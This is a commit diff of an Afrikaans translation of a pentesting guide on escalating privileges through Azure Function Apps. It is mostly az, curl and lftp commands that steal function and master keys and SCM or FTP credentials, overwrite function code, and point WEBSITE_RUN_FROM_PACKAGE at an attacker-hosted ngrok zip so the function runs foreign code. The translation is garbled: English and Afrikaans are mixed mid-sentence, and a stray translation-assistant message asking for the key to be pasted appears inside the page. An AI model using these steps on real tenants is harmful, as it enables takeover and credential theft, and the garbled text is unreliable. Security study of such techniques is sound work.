Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:16:02 +00:00
parent 326dfef7d2
commit 45fc5ad499
@@ -4,7 +4,7 @@
## Function Apps
Kyk na die volgende bladsy vir meer inligting:
Kyk die volgende page vir meer information:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Kyk na die volgende bladsy vir meer inligting:
### Bucket Read/Write
Met permissies om die containers binne die Storage Account wat die funksie-data stoor te lees, is dit moontlik om **verskillende containers** (aangepas of met voorafbepaalde name) te vind wat moontlik **die code wat deur die funksie uitgevoer word** bevat.
Met permissions om die containers binne die Storage Account wat die function data stoor te lees, is dit possible om **different containers** te vind (custom of met vooraf-gedefinieerde names) wat **die code executed by the function** kan bevat.
Sodra jy vind waar die code van die funksie geleë is, en as jy write permissions daaroor het, kan jy die funksie laat uitvoer van enige code en privileges eskaleer na die managed identities wat aan die funksie gekoppel is.
Sodra jy vind waar die code van die function geleë is, as jy write permissions daaroor het, kan jy die function enige code laat execute en privileges eskaleer na die managed identities wat aan die function gekoppel is.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Die code van die funksie word gewoonlik in 'n file share gestoor. Met genoeg toegang is dit moontlik om die code-lêer te wysig en **make the function load arbitrary code** wat toelaat om privileges te eskaleer na die managed identities wat aan die Function gekoppel is.
Die code van die function word gewoonlik binne n file share gestoor. Met genoeg access is dit possible om die code file te modify en **maak die function arbitrary code load**, wat toelaat om privileges te eskaleer na die managed identities wat aan die Function gekoppel is.
Hierdie ontplooiingsmetode stel gewoonlik die instellings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** en **`WEBSITE_CONTENTSHARE`** op wat jy kan kry vanaf
This deployment method configure gewoonlik die settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
Daardie configs sal die **Storage Account Key** bevat wat die Function kan gebruik om toegang tot die code te verkry.
> [!CAUTION]
> Met voldoende toestemming om by die File Share aan te sluit en die lopende **modify the script** te verander, is dit moontlik om execute arbitrary code in die Function uit te voer en privileges te escalate.
> Met genoeg permission om aan die File Share te koppel en die script wat dit uitvoer **te modify**, is dit moontlik om arbitrary code in die Function uit te voer en privileges te escalate.
Die volgende voorbeeld gebruik macOS om met die file share te koppel, maar dit word aanbeveel om ook die volgende bladsy te raadpleeg vir meer inligting oor file shares:
Die volgende example gebruik macOS om aan die file share te koppel, maar dit word aanbeveel om ook die volgende page na te gaan vir meer info oor file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Dit is ook algemeen om die **zip releases** binne die gids `function-releases` van die Storage Account container te vind wat die function app gebruik, in 'n container **gewoonlik genoem `function-releases`**.
Dit is ook algemeen om die **zip releases** binne die vouer `function-releases` van die Storage Account container te vind wat die function app gebruik in n container **gewoonlik genoem `function-releases`**.
Gewoonlik sal hierdie deployment-metode die `WEBSITE_RUN_FROM_PACKAGE` konfigurasie stel in:
Gewoonlik sal hierdie deployment metode die `WEBSITE_RUN_FROM_PACKAGE` config stel in:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Hierdie konfigurasie sal gewoonlik 'n **SAS URL to download** the code from the Storage Account bevat.
Hierdie config sal gewoonlik n **SAS URL to download** die code van die Storage Account bevat.
> [!CAUTION]
> Met genoeg toestemming om te koppel aan die blob container wat **contains the code in zip** is dit moontlik om execute arbitrary code in die Function en escalate privileges.
> Met genoeg permission om aan die blob container te koppel wat **contains the code in zip** is dit moontlik om arbitrary code in die Function uit te voer en privileges te escalate.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Net soos in die vorige geval, as die deployment gedoen is via Github Actions is dit moontlik om die gids **`github-actions-deploy`** in die Storage Account te vind wat 'n zip van die code bevat en 'n SAS URL na die zip in die instelling `WEBSITE_RUN_FROM_PACKAGE`.
Net soos in die vorige geval, as die deployment via Github Actions gedoen word, is dit moontlik om die folder **`github-actions-deploy`** in die Storage Account te vind wat n zip van die code en n SAS URL na die zip in die setting `WEBSITE_RUN_FROM_PACKAGE` bevat.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Met toestemmings om die containers binne die Storage Account wat die function data stoor te lees, is dit moontlik om die container **`scm-releases`** te vind. Daarin is dit moontlik om die jongste release in **Squashfs filesystem file format** te vind en gevolglik die code van die function te lees:
Met permissions om die containers binne die Storage Account wat die function data stoor te lees, is dit moontlik om die container **`scm-releases`** te vind. Daarin is dit moontlik om die nuutste release in **Squashfs filesystem file format** te vind en daarom is dit moontlik om die code van die function te lees:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Dit is ook moontlik om die **master- en functions-sleutels** te vind wat gestoor is in die storage account in die container **`azure-webjobs-secrets`** binne die gids **`<app-name>`** in die JSON-lêers wat jy daarin kan vind.
Dit is ook moontlik om die **master and functions keys** te vind wat in die storage account gestoor is in die container **`azure-webjobs-secrets`** binne die folder **`<app-name>`** in die JSON files wat jy daarbinne kan vind.
> [!CAUTION]
> Met voldoende toestemming om aan die blob container te koppel wat **die kode in 'n zip extension file bevat** (wat eintlik 'n **`squashfs`** is), is dit moontlik om arbitrêre kode in die Function uit te voer en bevoegdhede te eskaleer.
> Met genoeg permission om aan die blob container te koppel wat **die code in a zip extension file bevat** (wat eintlik n **`squashfs`** is) is dit moontlik om arbitrary code in die Function uit te voer en privileges te escalate.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Hierdie toestemming laat toe om die function-, master- en system-sleutels te lys, maar nie die host-sleutel van die gespesifiseerde function nie, met:
Hierdie toestemming laat toe om die function-, master- en system-sleutels, maar nie die host-sleutel nie, van die gespesifiseerde function te lys met:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Met die master key is dit ook moontlik om die bronkode te kry via 'n URL soos:
Met die master key is dit ook moontlik om die bronkode te kry in n URL soos:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
En om **die kode wat in die funksie uitgevoer word te verander** met:
En om **die kode wat uitgevoer word** in die function te verander met:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,38 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Hierdie toestemming maak dit moontlik om die standaard sleutel van die gespesifiseerde funksie te kry met:
Hierdie toestemming maak dit moontlik om die default key te kry van die gespesifiseerde function met:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Roep die funksie aan met die standaard sleutel wat verkry is:
Roep die funksie aan met die verstek sleutel wat verkry is:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Hierdie toestemming laat toe om 'n function key van die gespesifiseerde funksie te skep of op te dateer met:
Hierdie toestemming laat toe om 'n function key van die gespesifiseerde function te skep/opdateer met:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Hierdie toestemming maak dit moontlik om 'n master key vir die gespesifiseerde funksie te skep/opdateer met:
Hierdie toestemming laat toe om 'n master key vir die gespesifiseerde function te skep/op te dateer met:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Onthou dat met hierdie sleutel jy ook toegang tot die bronkode kan kry en dit soos voorheen verduidelik kan wysig!
> Onthou dat jy met hierdie sleutel ook toegang kan kry tot die bronkode en dit kan wysig soos vroeër verduidelik!
### `Microsoft.Web/sites/host/systemKeys/write`
Hierdie toestemming laat toe om 'n stelselfunksiesleutel vir die aangeduide funksie te skep of by te werk met:
Hierdie toestemming laat toe om 'n system function key vir die gespesifiseerde function te skep/opdateer met:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
I don't have the key or any file content. Please paste the text you want translated (or the key) here.
Do NOT share real secret credentials or sensitive keys — if the key is sensitive, redact it or provide a non-sensitive placeholder and I will proceed with the translation to Afrikaans.
Gebruik die sleutel:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -195,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Hierdie toestemming maak dit moontlik om die instellings van 'n funksie te kry. Binne hierdie konfigurasies kan dit moontlik wees om die standaardwaardes **`AzureWebJobsStorage`** of **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** te vind, wat 'n **account key bevat om toegang te kry tot die blob storage van die funksie met FULL permissions**.
Hierdie permission laat toe om die instellings van 'n function te kry. Binne hierdie configurations kan dit moontlik wees om die verstekwaardes **`AzureWebJobsStorage`** of **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** te vind, wat 'n **account key bevat om toegang te kry tot die blob storage van die function met VOL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Boonop laat hierdie toestemming ook toe om die **SCM username and password** (indien geaktiveer) te kry met:
Verder laat hierdie toestemming ook toe om die **SCM-gebruikersnaam en wagwoord** te verkry (indien geaktiveer) met:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Hierdie permissies laat toe om die konfigurasiewaardes van 'n funksie te lys soos ons reeds gesien het, plus om **hierdie waardes te wysig**. Dit is nuttig omdat hierdie instellings aandui waar die kode wat binne die funksie uitgevoer word, geleë is.
Hierdie permissions laat toe om die config-waardes van n function te lys soos ons vroeër gesien het, plus **hierdie waardes te wysig**. Dit is nuttig omdat hierdie settings aandui waar die code om binne die function uit te voer, geleë is.
Dit is dus moontlik om die waarde van die instelling **`WEBSITE_RUN_FROM_PACKAGE`** te stel wat na 'n URL-zip-lêer wys wat die nuwe kode bevat om binne 'n webtoepassing uitgevoer te word:
Dit is dus moontlik om die waarde van die setting **`WEBSITE_RUN_FROM_PACKAGE`** te stel na n URL zip file wat die nuwe code bevat om binne n web application uit te voer:
- Begin deur die huidige konfigurasie te kry
- Begin deur die huidige config te kry
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Skep die kode wat jy wil hê die funksie moet uitvoer en host dit publieklik
- Skep die kode wat jy wil hê die function moet laat loop en host dit publiekelijk
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -226,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Wysig die funksie, behou die vorige parameters en voeg aan die einde die config **`WEBSITE_RUN_FROM_PACKAGE`** by wat wys na die URL met die **zip** wat die kode bevat.
- Verander die function, behou die vorige parameters en voeg aan die einde die config **`WEBSITE_RUN_FROM_PACKAGE`** by wat na die URL wys met die **zip** wat die code bevat.
Die volgende is 'n voorbeeld van my **eie instellings jy sal die waardes na jou eie moet verander**. Let op die waardes aan die einde: `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` dit is waar ek die app gehost het.
Die volgende is 'n voorbeeld van my **eie settings wat jy die values vir joune sal moet verander**, let op aan die einde die values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, dit is waar ek die app gehost het.
```bash
# Modify the function
az rest --method PUT \
@@ -238,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Met hierdie toestemming is dit **moontlik om die kode van 'n toepassing te wysig** deur die webkonsole (of deur die volgende API-endpoint):
Met hierdie toestemming is dit **moontlik om die code van 'n application te wysig** deur die web console (of deur die volgende API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -268,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Hierdie toestemming maak dit moontlik om alle publishing profiles te lys, wat basies **basic auth credentials** bevat:
Hierdie permissies laat toe om al die publishing profiles te lys, wat basies **basic auth credentials** bevat:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -276,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Nog 'n opsie sou wees om jou eie creds te stel en hulle te gebruik met:
Nog 'n opsie sou wees om jou eie creds in te stel en hulle te gebruik met:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- As die inlogbewyse **REDACTED** is
- As **REDACTED** credentials
As jy sien dat daardie inlogbewyse **REDACTED** is, is dit omdat jy die **SCM basic authentication option** moet aanskakel en daarvoor benodig jy die tweede toestemming (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
As jy sien dat daardie credentials **REDACTED** is, is dit omdat jy **die SCM basic authentication option moet aktiveer** en daarvoor het jy die tweede permission nodig (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -304,28 +302,49 @@ az rest --method PUT \
}
}
```
- **Method SCM**
- **Metode SCM**
Dan kan jy met hierdie **basic auth credentials to the SCM URL** van jou function app toegang kry en die waardes van die env variables kry:
Dan kan jy toegang verkry met hierdie **basic auth credentials to the SCM URL** van jou function app en die waardes van die omgewingsveranderlikes kry:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Let wel dat die **SCM username** gewoonlik die teken "$" is, gevolg deur die naam van die app, dus: `$<app-name>`._
Jy kan nuwe funksie-kode aflaai, wysig en oplaai :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
Jy kan ook die webblad bereik vanaf `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Die settings-waardes bevat die **AccountKey** van die storage account wat die data van die function app stoor, wat dit moontlik maak om daardie storage account te beheer.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Jy kan selfs 'n spesifieke file oplaai :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note dat die **SCM username** gewoonlik die char "$" gevolg deur die name van die app is, so: `$<app-name>`._
- **Metode FTP**
Jy kan ook toegang kry tot die web page vanaf `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Koppel aan die FTP-bediener met:
Die settings values bevat die **AccountKey** van die storage account wat die data van die function app stoor, wat dit moontlik maak om daardie storage account te control.
- **Method FTP**
Connect to the FTP server using:
```bash
# macOS install lftp
brew install lftp
@@ -339,19 +358,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
_Note dat die **FTP username** gewoonlik in die formaat \<app-name>\\$\<app-name> is._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Hierdie toestemming laat toe om deur die VFS die **read the source code** van die app te lees:
Hierdie permission laat toe om **die bronkode** van die app deur die VFS te lees:_
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Met hierdie toestemming is dit moontlik om [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) wat later gebruik kan word om die **master key** te bekom en dus toegang tot en wysiging van die funksie se kode moontlik te maak.
Met hierdie permission is dit moontlik om die [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) te verkry wat later gebruik kan word om die **master key** te haal en dus toegang te kry tot en die function se code te verander.
In my onlangse kontroles is geen token teruggegee nie, dus kan dit gedeaktiveer of nie meer funksioneel wees nie, maar hier is hoe jy dit sou doen:
Maar, in my laaste checks is geen token teruggestuur nie, so dit mag dalk gedeaktiveer wees of nie meer werk nie, maar hier is hoe jy dit sou doen:
```bash
# Get admin token
az rest --method GET \
@@ -363,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Hierdie toestemming laat toe om **functions te aktiveer** wat moontlik uitgeskakel is (of om dit uit te skakel).
Hierdie toestemmings laat toe om **functions te aktiveer** wat dalk gedeaktiveer is (of hulle te deaktiveer).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -371,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Dit is ook moontlik om te sien of 'n funksie geaktiveer of gedeaktiveer is op die volgende URL (met die toestemming tussen hakies):
Dit is ook moontlik om te sien of n function geaktiveer of gedeaktiveer is in die volgende URL (met die permission tussen hakies):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Met hierdie toestemmings is dit moontlik om **die container wat deur 'n function app gedraai word, te wysig** wat gekonfigureer is om 'n container te gebruik. Dit sou 'n aanvaller toelaat om 'n skadelike azure function container app na docker hub (byvoorbeeld) op te laai en die function dit te laat uitvoer.
Met hierdie permissions is dit moontlik om die **container wat deur 'n function app uitgevoer word te modify** wanneer dit gekonfigureer is om 'n container te run. Dit sou 'n attacker toelaat om 'n malicious azure function container app na docker hub op te load (byvoorbeeld) en die function te laat execute it.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -385,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Met hierdie toestemmings is dit moontlik om **'n nuwe user managed identity aan 'n function te koppel**. As die function gekompromitteer sou word, sal dit toelaat om bevoegdhede na enige user managed identity op te skaal.
Met hierdie permissies is dit moontlik om **n nuwe user managed identity aan n function te koppel**. As die function gekompromitteer was, sou dit privilege escalation na enige user managed identity toelaat.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Afstands-debugging
### Remote Debugging
Dit is ook moontlik om aan te sluit om 'n lopende Azure Function te debug soos [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Azure skakel hierdie opsie egter standaard na 2 dae af as die ontwikkelaar dit vergeet, om te voorkom dat kwesbare konfigurasies agterbly.
Dit is ook moontlik om te koppel om 'n lopende Azure function te debug soos [**verduidelik in die docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Maar by verstek sal Azure hierdie opsie na off skakel in 2 dae ingeval die developer vergeet om kwesbare configurations te vermy.
Dit is moontlik om te kontroleer of 'n Function se debugging geaktiveer is met:
Dit is moontlik om te check of 'n Function debugging enabled het met:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Indien jy die toestemming `Microsoft.Web/sites/config/write` het, is dit ook moontlik om 'n funksie in foutopsporingsmodus te sit (die volgende opdrag vereis ook die toestemmings `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` en `Microsoft.Web/sites/Read`).
Met die toestemming `Microsoft.Web/sites/config/write` is dit ook moontlik om 'n function in debugging mode te plaas (die volgende command vereis ook die toestemmings `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` en `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Verander Github repo
Ek het probeer om die Github repo vanwaar die ontplooiing plaasvind te verander deur die volgende opdragte uit te voer, maar selfs al het dit verander, is **die nuwe kode nie gelaai** (waarskynlik omdat dit verwag dat die Github Action die kode sal opdateer).\
Boonop is die **managed identity federated credential** nie opgedateer om die nuwe repository toe te laat nie, dus lyk dit of dit nie baie nuttig is nie.
Ek het probeer om die Github repo van waar die deployment plaasvind te verander deur die volgende commands uit te voer, maar selfs al het dit verander, **die nuwe code is nie gelaai nie** (waarskynlik omdat dit verwag dat die Github Action die code moet opdateer).\
Verder is die **managed identity federated credential nie opgedateer** om die nuwe repository toe te laat nie, so dit lyk of dit nie baie nuttig is nie.
```bash
# Remove current
az functionapp deployment source delete \